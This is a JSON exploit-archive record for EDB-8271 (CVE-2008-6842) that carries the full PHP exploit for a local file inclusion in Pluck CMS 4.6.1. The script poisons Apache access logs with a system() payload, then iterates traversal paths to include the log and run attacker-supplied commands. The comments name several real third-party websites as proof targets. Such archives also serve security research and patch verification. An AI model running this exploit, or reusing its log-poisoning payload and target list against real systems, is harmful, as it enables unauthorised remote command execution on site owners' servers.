{"exploit":{"id":"EDB-8271","name":"Pluck CMS 4.6.1 - 'module_pages_site.php' Local File Inclusion (LFI)","description":"Pluck CMS 4.6.1 - 'module_pages_site.php' Local File Inclusion (LFI)","cves":["CVE-2008-6842"],"author":"Alfons Luja","published":"2009-03-23","platform":"php","type":"webapps","language":"PHP","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/8271","path":"exploits/php/webapps/8271.php","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-8271.php","vulnerabilities":[{"id":"CVE-2008-6842","state":"PUBLISHED","title":null,"titleSource":null,"description":"Directory traversal vulnerability in data/modules/blog/module_pages_site.php in Pluck 4.6.1 allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the post parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-6842","cvss":{"version":"2.0","baseScore":6.8,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-6842"},"updatedAt":"2024-08-07T11:42:00.898Z","retrievedAt":"2026-11-26T21:09:50.740Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-8271.png?v=2","url":"https://exploitbin.com/exploits/EDB-8271","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-8271/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-8271/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"<?php\n\n/*\n pluck v 4.6.1 LFI exploit\n autor : Alfons Luja\n Vuln is in \\data\\modules\\blog\\module_pages_site.php\n\n  ...\n\n      $includepage = 'blog_include.php';\n      //Only set 'view post'-page if a post has been specified\n      if (isset($_GET['post'])) {\n\t//Check if post exists, and include information\n\t   if (file_exists('data/settings/modules/blog/posts/'.$_GET['post'])) {\n\t\tinclude('data/settings/modules/blog/posts/'.$_GET['post']);\n\t\t$module_page['viewpost'] = $post_title;\n\t   }\n      }\n ...\n\n Nothing to comment ;x\n Greetings: For all friends and obvious for me ;D\n\n pr00f:\n http://www.kilgarvangaa.com//data/modules/blog/module_pages_site.php?post=../../../../../../../../../../bin/ls\n http://www.southtrewlogcabins.co.uk/data/modules/blog/module_pages_site.php?post=../../../../../../../../../../bin/ls\n http://www.seanhood.co.uk/data/modules/blog/module_pages_site.php?post=../../../../../../../../../../bin/ls\n*/\n\n\nif($argc < 4) die(\"Use host path command [www.penatgon.gov /pluck ls l]\\n\");\n\nset_time_limit(0);\nerror_reporting(0);\n\n$host = $argv[1];\n$port = $argv[2];\n$path = $argv[3];\n$command = $argv[4];\n\n//add something if not w00rking ;x\n\n$shell = array(\n         \"<?php echo(' e[Ho_trip ');system('$command');echo(' d34th_trip'); ?>\",\n         \"../apache/logs/access.log\",\n         \"../../apache/logs/access.log\",\n         \"../../../apache/logs/access.log\",\n         \"../../../../apache/logs/access.log\",\n         \"../../../../../apache/logs/access.log\",\n         \"../../../../../../apache/logs/access.log\",\n         \"../../../../../../../apache/logs/access.log\",\n         \"../../../../../../../../apache/logs/access.log\",\n         \"../../../../../../../../../apache/logs/access.log\",\n         \"../../../../../../../../../../apache/logs/access.log\",\n         \"../../../../../../../../../../../apache/logs/access.log\",\n         \"../var/log/httpd/access.log\",\n         \"../../var/log/httpd/access.log\",\n         \"../../../var/log/httpd/access.log\",\n         \"../../../../var/log/httpd/access.log\",\n         \"../../../../../var/log/httpd/access.log\",\n         \"../../../../../../var/log/httpd/access.log\",\n         \"../../../../../../../var/log/httpd/access.log\",\n         \"../../../../../../../../var/log/httpd/access.log\",\n         \"../../../../../../../../../var/log/httpd/access.log\",\n         \"../../../../../../../../../../var/log/httpd/access.log\",\n         \"../../../../../../../../../../../var/log/httpd/access.log\",\n         \"../var/log/apache/access.log\",\n         \"../../var/log/apache/access.log\",\n         \"../../../var/log/apache/access.log\",\n         \"../../../../var/log/apache/access.log\",\n         \"../../../../../var/log/apache/access.log\",\n         \"../../../../../../var/log/apache/access.log\",\n         \"../../../../../../../var/log/apache/access.log\",\n         \"../../../../../../../../var/log/apache/access.log\",\n         \"../../../../../../../../../var/log/apache/access.log\",\n         \"../../../../../../../../../../var/log/apache/access.log\",\n         \"../../../../../../../../../../../var/log/apache/access.log\",\n         \"../usr/local/apache2/logs/access.log\",\n         \"../../usr/local/apache2/logs/access.log\",\n         \"../../../usr/local/apache2/logs/access.log\",\n         \"../../../../usr/local/apache2/logs/access.log\",\n         \"../../../../../usr/local/apache2/logs/access.log\",\n         \"../../../../../../usr/local/apache2/logs/access.log\",\n         \"../../../../../../../usr/local/apache2/logs/access.log\",\n         \"../../../../../../../../usr/local/apache2/logs/access.log\",\n         \"../../../../../../../../../usr/local/apache2/logs/access.log\",\n         \"../../../../../../../../../../usr/local/apache2/logs/access.log\",\n         \"../../../../../../../../../../../usr/local/apache2/logs/access.log\",\n   );\nfunction _hdr($int){   //MiaÂ³o nie byÃ¦ file_get_contents\n\n        global $shell,$host,$path;\n        $header .= \"GET /$host/$path/$shell[$int]  HTTP/1.1\\r\\n\";\n        $header .= \"Host: $host\\r\\n\";\n        $header .= \"User-Agent: _echo [ru] (Win6.66; @)\\r\\n\";\n        $header .= \"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\n\";\n        $header .= \"Accept-Language: en-us,en;q=0.5\\r\\n\";\n        $header .= \"Accept-Encoding: gzip,deflate\\r\\n\";\n        $header .= \"Connection: close\\r\\n\\r\\n\";\n        return $header;\n\n\n}\n\n\nfunction _inject($hosts,$ports){\n\n           $hnd = fsockopen($hosts,$ports,$errno, $errstr, 30);\n           if(!$hnd) die(\"Injection errr $errstr\\n\");\n           fwrite($hnd,_hdr(0));\n           fclose($hnd);\n\n\n}\n\nfunction _result($data){\n\n          $ret = explode(' e[Ho_trip ',$data);\n            if($ret[1] != \"\"){\n              for($i = 1;$i<count($ret);$i++){\n               $ret_2 = explode(' d34th_trip',$ret[$i]);\n                   if($i - count($ret) == -1){\n                     if($ret_2[0] != \"\"){\n                        echo($ret_2[0]);\n                     } else {\n                        die(\"Exploit failed!!\\n\");\n                     }\n               }\n              }\n\n            }\n\n}\n\nfunction _exploit($hosts,$paths){\n\n        global $shell;\n        $rets = \"\";\n        $count = count($shell);\n\n        for($i=1;$i<$count;$i++){\n\n            $tab = file_get_contents(\"http://\".$hosts.\"/\".$paths.\"/data/modules/blog/module_pages_site.php?post=$shell[$i]\");\n           _result($tab);\n\n        }\n\n\n}\necho(\"---- pluck v 4.6.1 -----\\n\\n\".\n     \"Autor: Alfons Luja\\n\".\n     \"Target: $host\\n\".\n     \"Path: $path\\n\".\n     \"Port: $port\\n\".\n     \"COM: $command\\n\".\n     \"Ex: poc.php www.target.com 80 pluck \\\"dir\\\"\\n\\n\");\n\n    _inject($host,$port);\n    _exploit($host,$path);\n\n?>\n\n# milw0rm.com [2009-03-23]","sha256":"5396e37cd4a1ebfd696ebdb6636119000f96ad6d6f9b25c51a0ac63365f00e37","bytes":5649,"fetchedAt":"2026-11-26T21:09:44.397Z","encoding":"utf-8 (display only; download retains original bytes)"}